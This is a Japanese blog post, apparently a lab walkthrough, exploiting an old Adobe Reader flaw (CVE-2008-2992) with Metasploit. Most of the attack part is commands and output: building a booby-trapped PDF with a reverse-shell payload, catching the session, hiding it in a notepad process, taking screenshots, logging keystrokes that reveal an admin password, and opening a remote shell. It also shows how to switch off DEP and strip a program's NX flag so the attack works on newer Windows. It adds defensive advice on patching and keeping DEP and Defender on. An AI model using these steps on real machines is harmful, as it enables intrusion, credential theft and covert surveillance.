Exploit in Adobe Reader 8 (CVE-2008-2992)
このサイトのチュートリアルが素晴らしい。
Metasploit Unleashed
http://www.offensive-security.com/metasploit-unleashed/Main_Page
今回はその中から↓を取り上げます。
Client Side Exploits - Metasploit Unleashed
http://www.offensive-security.com/metasploit-unleashed/Client_Side_Exploits
内容が内容なだけに、免責事項を。当ブログにて提供している情報、リンク先などにより、いかなる損失や損害などの被害が発生しても責任を追いかねますのでご了承ください。また、実際に Penetration Test を行う際は、システム管理者への事前通知を行い、許可を貰った上で実施してください。
さて上述の記事は、実際に見つかった Adobe Reader 8 の脆弱性を攻撃するコードです。この脆弱性自体は、CVE-2008-2992 としてファイルされ、2008 年 11 月に Adobe 社から修正パッチがリリースされています。バージョンでいうと、Adobe Reader 8.1.2 までのバージョンに脆弱性があり、8.1.3 から修正が含まれています。
CVE - CVE-2008-2992
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2992
Adobe - Security Advisories : APSB08-19 - Security Update available for Adobe Reader 8 and Acrobat 8
http://www.adobe.com/support/security/bulletins/apsb08-19.html
CVE とは、アメリカの NPO である MITRE が管理している脆弱性情報データベースです。
脆弱性情報データベース - Wikipedia
http://ja.wikipedia.org/wiki/%E8%84%86%E5%BC%B1%E6%80%A7%E6%83%85%E5%A0%B1%E3%83%87%E3%83%BC%E3%82%BF%E3%83%99%E3%83%BC%E3%82%B9
作業自体は前回の例と大して変わりません。msfconsole 上で PDF を生成し、攻撃対象のコンピューター上で Adobe Reader 8.1.2 を使って開くだけです。
まずは、Kali Linux 上で PDF を生成。
msf > use exploit/windows/fileformat/adobe_utilprintf
msf exploit(adobe_utilprintf) > set FILENAME CVE-2008-2992.pdf
FILENAME => CVE-2008-2992.pdf
msf exploit(adobe_utilprintf) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(adobe_utilprintf) > set LHOST 10.10.10.80
LHOST => 10.10.10.80
msf exploit(adobe_utilprintf) > set LPORT 4455
LPORT => 4455
msf exploit(adobe_utilprintf) > show options
Module options (exploit/windows/fileformat/adobe_utilprintf):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME CVE-2008-2992.pdf yes The file name.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (accepted: seh, thread, process, none)
LHOST 10.10.10.80 yes The listen address
LPORT 4455 yes The listen port
Exploit target:
Id Name
-- ----
0 Adobe Reader v8.1.2 (Windows XP SP3 English)
msf exploit(adobe_utilprintf) > run
[*] Creating 'CVE-2008-2992.pdf' file...
[+] CVE-2008-2992.pdf stored at /root/.msf4/local/CVE-2008-2992.pdf
msf exploit(adobe_utilprintf) >
攻撃対象のコンピューターを用意し、生成された PDF をコピーします。
- OS: Windows XP SP3 (32bit)
- 他の OS バージョンについては後述
- Windows Update は実行せず、他のパッチは無し (インストールしても結果は変わらないはず)
- Adobe Reader 8.1.2
- ftp://ftp.adobe.com/pub/adobe/reader/ からダウンロード可能
今回犠牲になる Adobe Reader 8.1.2 on Windows XP SP3。
PDF を開く前に、msfconsole で、攻撃対象コンピューターからのアクセスを待機します。
msf exploit(adobe_utilprintf) > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LPORT 4455
LPORT => 4455
msf exploit(handler) > set LHOST 10.10.10.80
LHOST => 10.10.10.80
msf exploit(handler) > exploit
[*] Started reverse handler on 10.10.10.80:4455
[*] Starting the payload handler...
では、PDF を開きます。XP 視点での動作は、Adobe Reader がハングアップしたように見えるだけです。
Adobe Reader ハングアップ中。
一方 msf 側は、XP へ侵入できています。
msf exploit(handler) > exploit
[*] Started reverse handler on 10.10.10.80:4455
[*] Starting the payload handler...
[*] Sending stage (769536 bytes) to 10.10.10.90
[*] Meterpreter session 1 opened (10.10.10.80:4455 -> 10.10.10.90:1094) at 2014-08-11 11:23:59 -0700
meterpreter > sysinfo
Computer : XPSP3
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : ja_JP
Meterpreter : x86/win32
実は AcroRd32.exe が 10.10.10.80:4455 とセッションを確立している。
今の状態は、単純に AcroRd32.exe から msf へ TCP セッションが貼られているだけなので、ユーザーがハングアップに痺れを切らしてプロセスを終了させるとセッションが失われます。その前に攻撃者は、別のプロセスを隠れ蓑にすることが可能です。
meterpreter > run post/windows/manage/migrate
[*] Running module against XPSP3
[*] Current server process: AcroRd32.exe (520)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 1512
[+] Successfully migrated to process 1512
これにより、XP 側では AcroRd32.exe が終了し、notepad.exe (PID=1512) が開始されます。しかしユーザー側にはメモ帳のウィンドウは見えません。あくまでも、少しの間ハングアップしていた Adobe Reader がクラッシュして終了したように見えるだけです。
notepad.exe が動いているがウィンドウが見えない。存在しない PID=520 がセッションを持っているように見える。
この状態になるとユーザーは普通気づかないでしょう。ログオフしてプロセスが失われるまでの間に、そのユーザーの権限内であれば何でもできます。試しに、スクリーン ショットとキー ロガーを動かしてみました。キー ロガーを動かしている間に XP 側で runas コマンド実行してみます。愚かなユーザーよ・・・。
meterpreter > screenshot
Screenshot saved to: /home/alice/OCEGNZxE.jpeg
meterpreter > run post/windows/capture/keylog_recorder
[*] Executing module against XPSP3
[*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to /root/.msf4/loot/20140811113307_default_10.10.10.90_host.windows.key_705718.txt
[*] Recording keystrokes...
^C
[*] Saving last few keystrokes...
[*] Interrupt
[*] Stopping keystroke sniffer...
meterpreter >
キャプチャ画像 OCEGNZxE.jpeg。色は変だが文字は十分読み取れる。
これがキー ストロークのログ。XP 側が日本語キーボードなので一部の記号が正しく記録されていませんが (というか入力ミス多すぎだろ自分w)、ここからパスワードを盗むのは簡単そうです。
alice@kali:~$ cat /root/.msf4/loot/20140811113307_default_10.10.10.90_host.windows.key_705718.txt
Keystroke log started at 2014-08-11 11:33:07 -0700
runas /user+admi <Back> <Back> <Back> <Back> <Back> ;contoso]ad <Back> <Back> <Back> administ
rator cmd <Return> p'ssw0rd <Return> ehoc he <Back> <Back> <Back> <Back> <Back> <Back> cho
hello <Back> a <Back> <Back> ! <Return>
alice@kali:~$
ユーザーが notepad.exe を終了させると、セッションは失われます。
notepad.exe とともに PID=520 のセッションも消えた
msf 側。
meterpreter >
[*] 10.10.10.90 - Meterpreter session 1 closed. Reason: Died
msf exploit(handler) >
以上から、exe ファイルを実行せずとも、PDF を開いただけでアウトという脆弱性も存在するということが分かります。これがよく言われる、無暗にメールの添付ファイルを開くな、という注意喚起の背景のです。この脆弱性は、Adobe Reader 8 の JavaScript エンジンがバッファー オーバー フローを引き起こすセキュリティー ホールを攻撃するものですが、同じようなことは、ブラウザーやメーラーなどでも起こり得ます。OS や各ソフトウェアに最新パッチをインストールすることが、ユーザー側の対策の基本中の基本です。
この脆弱性も、Adobe Reader を 8.1.3 をインストールすれば起こりません。この場合、白紙の PDF が開かれて終わりです。念のため最新版の 11.0.0.7 でもテストしましたが、問題ありませんでした。リグレッション テストがいい加減だと、過去のセキュリティー ホールが別バージョンで再発する可能性も 0 ではありません。なお、こういったセキュリティ ホールの修正コード自体は、NULL チェックや if 文を一つ追加するだけとかの単純な変更だったりします。
Adobe Reader 8.1.3 on XP - 普通に開ける
どうやって reverse_tcp を実行できたのか、というのが最も興味深いところ (というかそれを学ばないと意味がない・・) ですが、それは時間がかかるので後に回すとして、XP 以降の Windows だとどうなるでしょうか。Windows Vista SP2/Windows 7 SP1/Windows 8.1 Update 1 のデフォルト設定で試したところ、システムに入り込むことはできませんでした。また、生成した PDF ファイルは、Windows Defender が有効になっていればトロイの木馬 (Trojan:Win32/Swrort.A) として検出/駆除されます。
Vista 以降の OS だとプロセスが強制的にクラッシュする (32bit/64bit での動作は同じ)
「デフォルト設定で」 と記したように、実はある設定を変えることによって Windows 8.1 でもこの脆弱性を攻撃することができますし、逆に Windows XP をガードすることもできます。その設定が DEP (=Data Execution Prevention, データ実行防止) と呼ばれる機能です。つまり、単純に OS が偉くなったわけではなく、OS のデフォルト設定がセキュリティーを強化する方向に変化しているということです。(もちろん OS も偉くなっていますが)
データ実行防止とは
http://windows.microsoft.com/ja-jp/windows-vista/what-is-data-execution-prevention
データ実行防止 - Wikipedia
http://ja.wikipedia.org/wiki/%E3%83%87%E3%83%BC%E3%82%BF%E5%AE%9F%E8%A1%8C%E9%98%B2%E6%AD%A2
単純に言えば DEP とは、プロセスの仮想メモリ空間のうち、実行可能な部分を制限する機能です。しかるべきどころにコードを挿入しないと、コードを実行する前に異常を検知されて OS によってプロセスが終了されてしまうという防御がはたらきます。今回の PDF ファイルでは、実行するコードが実行可能なページとしてマークされていないところに差し込まれていたのでしょう。スタック オーバーフローですし。
DEP の設定箇所はコントロール パネルにあります。Windows 8.1 だと・・・ (重要なところなので日本語 OS の例で・・)
- スタート ボタン右クリック > [コントロール パネル] をクリック
- [システムとセキュリティ] をクリック
- [システム] をクリック
- [システムの詳細設定] をクリック
- [パフォーマンス] の [設定] ボタンをクリック
- [データ実行防止] タブをクリック
操作めんどくさすぎ、という方は、[ファイル名を指定して実行] から sysdm.cpl または systempropertiesadvanced.exe を実行して下さい。XP にも同じ設定があります。
Vista 以降のデフォルト設定
Adobe Reader に対して DEP を無効にするには、[次に選択するものを除くすべてのプログラムおよびサービスについて DEP を有効にする] を選択して “C:\Program Files\Adobe\Reader 8.0\Reader\AcroRd32.exe” (64bit OS であれば “C:\Program Files (x86)\Adobe\Reader 8.0\Reader\AcroRd32.exe” ) を追加すればいいか、というと、単純にそれはできません。以下のように 「このプログラムは、データ実行防止 (DEP) を有効にして実行する必要があります。このプログラムでは DEP を無効にすることはできません。」 というダイアログが出て怒られてしまいます。
こんなの “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers” とかいうレジストリに値を直接入れればいいんでないの、という情報もありましたが、それでも動きません。なぜなら、AcroRd32.exe のイメージ ヘッダーにある DllCharacteristics という値で IMAGE_DLLCHARACTERISTICS_NX_COMPAT (0x100) フラグが ON になっているからです。
IMAGE_OPTIONAL_HEADER structure (Windows)
http://msdn.microsoft.com/en-us/library/windows/desktop/ms680339(v=vs.85).aspx
ちなみにこの設定、Visual Studio で作ったプログラムでも規定で有効になっています。リンク時のオプションに /NXCOMPAT:NO をつければ無効にできます。
整理するとこんな感じ。
- 重要な Windows のプログラムおよびサービスについてのみ有効にする (=OptIn, Vista 以降のデフォルト)
→ AcroRd32.exe は 「重要な Windows のプログラム」 ではないが、NX_COMPAT フラグが ON になっているので DEP 有効 - 次に選択するものを除くすべてのプログラムおよびサービスについて DEP を有効にする (=OptOut)
→ AcroRd32.exe の NX_COMPAT フラグが ON になっているので追加できない。レジストリで強引に追加しても設定は無視される。
そこで、もし AcroRd32.exe に対する DEP をどうしても無効にしたい場合、選択肢は 2 つ。
- DEP 設定を全体的に無効 (=AlwaysOff)
- AcroRd32.exe の NX_COMPAT フラグを OFF
DEP を無効にするためには、管理者権限を持つコマンド プロンプトで “bcdedit /set nx alwaysoff” と実行してコンピューターを再起動すれば OK です。これで、システム全体で DEP が無効になるので危険な状態になります。もちろん非推奨です。
C:\MSWORK>bcdedit
Windows ブート マネージャー
--------------------------------
identifier {bootmgr}
device partition=\Device\HarddiskVolume1
description Windows Boot Manager
locale ja-JP
inherit {globalsettings}
integrityservices Enable
default {current}
resumeobject {26af70dc-0031-11e4-9bff-ebb2e3739b30}
displayorder {current}
toolsdisplayorder {memdiag}
timeout 30
Windows ブート ローダー
--------------------------------
identifier {current}
device partition=C:
path \Windows\system32\winload.exe
description Windows 8.1
locale ja-JP
inherit {bootloadersettings}
recoverysequence {26af70de-0031-11e4-9bff-ebb2e3739b30}
integrityservices Enable
recoveryenabled Yes
allowedinmemorysettings 0x15000075
osdevice partition=C:
systemroot \Windows
resumeobject {26af70dc-0031-11e4-9bff-ebb2e3739b30}
nx OptIn
bootmenupolicy Standard
C:\MSWORK> bcdedit /set nx alwaysoff
この操作を正しく終了しました。
C:\MSWORK>bcdedit
Windows ブート マネージャー
--------------------------------
identifier {bootmgr}
device partition=\Device\HarddiskVolume1
description Windows Boot Manager
locale ja-JP
inherit {globalsettings}
integrityservices Enable
default {current}
resumeobject {26af70dc-0031-11e4-9bff-ebb2e3739b30}
displayorder {current}
toolsdisplayorder {memdiag}
timeout 30
Windows ブート ローダー
--------------------------------
identifier {current}
device partition=C:
path \Windows\system32\winload.exe
description Windows 8.1
locale ja-JP
inherit {bootloadersettings}
recoverysequence {26af70de-0031-11e4-9bff-ebb2e3739b30}
integrityservices Enable
recoveryenabled Yes
allowedinmemorysettings 0x15000075
osdevice partition=C:
systemroot \Windows
resumeobject {26af70dc-0031-11e4-9bff-ebb2e3739b30}
nx AlwaysOff
bootmenupolicy Standard
C:\MSWORK>
二つ目の選択肢は、AcroRd32.exe そのものを編集してしまう方法です。これは、Visual Studio もしくは Windows SDK に含まれている EDITBIN.exe を使えば可能です。フラグの状態は dumpbin で確認できます。
/NXCOMPAT
http://msdn.microsoft.com/en-us/library/ms235338.aspx
D:\MSWORK> copy "\\10.10.20.70\c$\Program Files (x86)\Adobe\Reader 8.0\Reader\AcroRd32.exe" "\\10.10.20.70\c$\Program Files (x86)\Adobe\Reader 8.0\Reader\AcroRd32.NX.exe"
1 file(s) copied.
D:\MSWORK> dumpbin /headers "\\10.10.20.70\c$\Program Files (x86)\Adobe\Reader 8.0\Reader\AcroRd32.exe"
Microsoft (R) COFF/PE Dumper Version 10.00.30319.01
Copyright (C) Microsoft Corporation. All rights reserved.
Dump of file \\10.10.20.70\c$\Program Files (x86)\Adobe\Reader 8.0\Reader\AcroRd32.exe
PE signature found
File Type: EXECUTABLE IMAGE
FILE HEADER VALUES
14C machine (x86)
4 number of sections
46444E37 time date stamp Fri May 11 04:06:31 2007
0 file pointer to symbol table
0 number of symbols
E0 size of optional header
103 characteristics
Relocations stripped
Executable
32 bit word machine
OPTIONAL HEADER VALUES
10B magic # (PE32)
8.00 linker version
3000 size of code
4E000 size of initialized data
0 size of uninitialized data
3402 entry point (00403402)
1000 base of code
4000 base of data
400000 image base (00400000 to 00451FFF)
1000 section alignment
1000 file alignment
4.00 operating system version
0.00 image version
4.00 subsystem version
0 Win32 version
52000 size of image
1000 size of headers
55392 checksum
2 subsystem (Windows GUI)
100 DLL characteristics
NX compatible
100000 size of stack reserve
1000 size of stack commit
100000 size of heap reserve
1000 size of heap commit
(長いので省略)
D:\MSWORK> editbin /nxcompat:no "\\10.10.20.70\c$\Program Files (x86)\Adobe\Reader 8.0\Reader\AcroRd32.exe"
Microsoft (R) COFF/PE Editor Version 10.00.30319.01
Copyright (C) Microsoft Corporation. All rights reserved.
D:\MSWORK> dumpbin /headers "\\10.10.20.70\c$\Program Files (x86)\Adobe\Reader 8.0\Reader\AcroRd32.exe"
Microsoft (R) COFF/PE Dumper Version 10.00.30319.01
Copyright (C) Microsoft Corporation. All rights reserved.
Dump of file \\10.10.20.70\c$\Program Files (x86)\Adobe\Reader 8.0\Reader\AcroRd32.exe
PE signature found
File Type: EXECUTABLE IMAGE
FILE HEADER VALUES
14C machine (x86)
4 number of sections
46444E37 time date stamp Fri May 11 04:06:31 2007
0 file pointer to symbol table
0 number of symbols
E0 size of optional header
103 characteristics
Relocations stripped
Executable
32 bit word machine
OPTIONAL HEADER VALUES
10B magic # (PE32)
8.00 linker version
3000 size of code
4E000 size of initialized data
0 size of uninitialized data
3402 entry point (00403402)
1000 base of code
4000 base of data
400000 image base (00400000 to 00451FFF)
1000 section alignment
1000 file alignment
4.00 operating system version
0.00 image version
4.00 subsystem version
0 Win32 version
52000 size of image
1000 size of headers
55292 checksum
2 subsystem (Windows GUI)
0 DLL characteristics
100000 size of stack reserve
1000 size of stack commit
100000 size of heap reserve
1000 size of heap commit
0 loader flags
10 number of directories
0 [ 0] RVA [size] of Export Directory
7264 [ 8C] RVA [size] of Import Directory
(長いので省略)
NX フラグさえ取ってしまえば、DEP の設定は既定の OptIn のままで DEP は無効になります。
この状態で PDF を開くと、最新の Windows 8.1 ですら侵入されます。Windows Defender と DEP 設定は無効にしないようにしましょう。
msf exploit(handler) > exploit
[*] Started reverse handler on 10.10.10.80:4455
[*] Starting the payload handler...
[*] Sending stage (769536 bytes) to 10.10.20.70
[*] Meterpreter session 3 opened (10.10.10.80:4455 -> 10.10.20.70:49209) at 2014-08-11 13:48:51 -0700
meterpreter > sysinfo
Computer : CLIENT
OS : Windows 8 (Build 9200).
Architecture : x64 (Current Process is WOW64)
System Language : en_US
Meterpreter : x86/win32
meterpreter > shell
Process 2072 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Users\administrator.CONTOSO\Desktop>ver
ver
Microsoft Windows [Version 6.3.9600]
C:\Users\administrator.CONTOSO\Desktop>
では逆に、XP で AcroRd32.exe に対する DEP を有効にしてみます。上述した wiki によると、DEP は XP SP2 で導入されたようです。
Windows XP での DEP 設定画面 (OptOut にすることで AcroRd32.exe が対象になる)
DEP によるクラッシュ
“DEP 無効化” などのキーワードでインターネット検索を行うと、教えて goo や某知恵袋などのサイトがたくさんヒットし、Windows Live Messenger や、某 DVD ソフトなどが DEP によってクラッシュさせられる事例が見受けられます。実際にこれらのソフトの特定のバージョンが、DEP を有効化すると動かなくなるという現象は十分にあり得ることですが、AlwaysOff の設定は極力使うべきではないでしょう。
クラッシュしてしまうソフトが DEP で落ちてしまうけれども、OptOut の設定に exe を追加しようとすると 「このプログラムは、データ実行防止 (DEP) を有効にして実行する必要があります。このプログラムでは DEP を無効にすることはできません。」 のダイアログが出て追加できない、という現象には注意が必要な気がします。このダイアログが出るということは、その exe ファイルの NX フラグが有効になっている可能性が高いです。この場合、その製品ベンダーは DEP が有効な状態でアプリケーションが動作可能であることを想定してテストしているはずなので、製品のセキュリティー ホールか、既に攻撃を受けている可能性があるので、ウィルス スキャンや怪しいファイルの削除するなどして対策した方がよさそうです。もし DEP 有効下で動かないのに NX フラグが ON になった exe を出荷しているとすればベンダーが XP でしかテストしてない、とかそういうお粗末な状況が予想されます。
攻撃者からすると、攻撃対象のコンピューターが XP だったり、DEP が無効になっているに越したことはありません。攻撃手段の第一歩として、ソーシャル エンジニアリングを利用してユーザーに対して DEP を無効にさせようといろいろな手を打ってくる可能性もあります。DEP に限らず、セキュリティ設定を弱くする場合には、その効果をよく理解してから行いたいものです。最近だと特にブラウザーの設定ですね。
これが 6 年前のセキュリティー ホールですが、最近の OS やソフトウェアはセキュリティー対策が厳しくなってきているので、攻撃を行うには全てを克服しないといけません。クラッカーの腕の見せ所です。次回はもう少し最近のセキュリティー ホールを見てみたいと思います。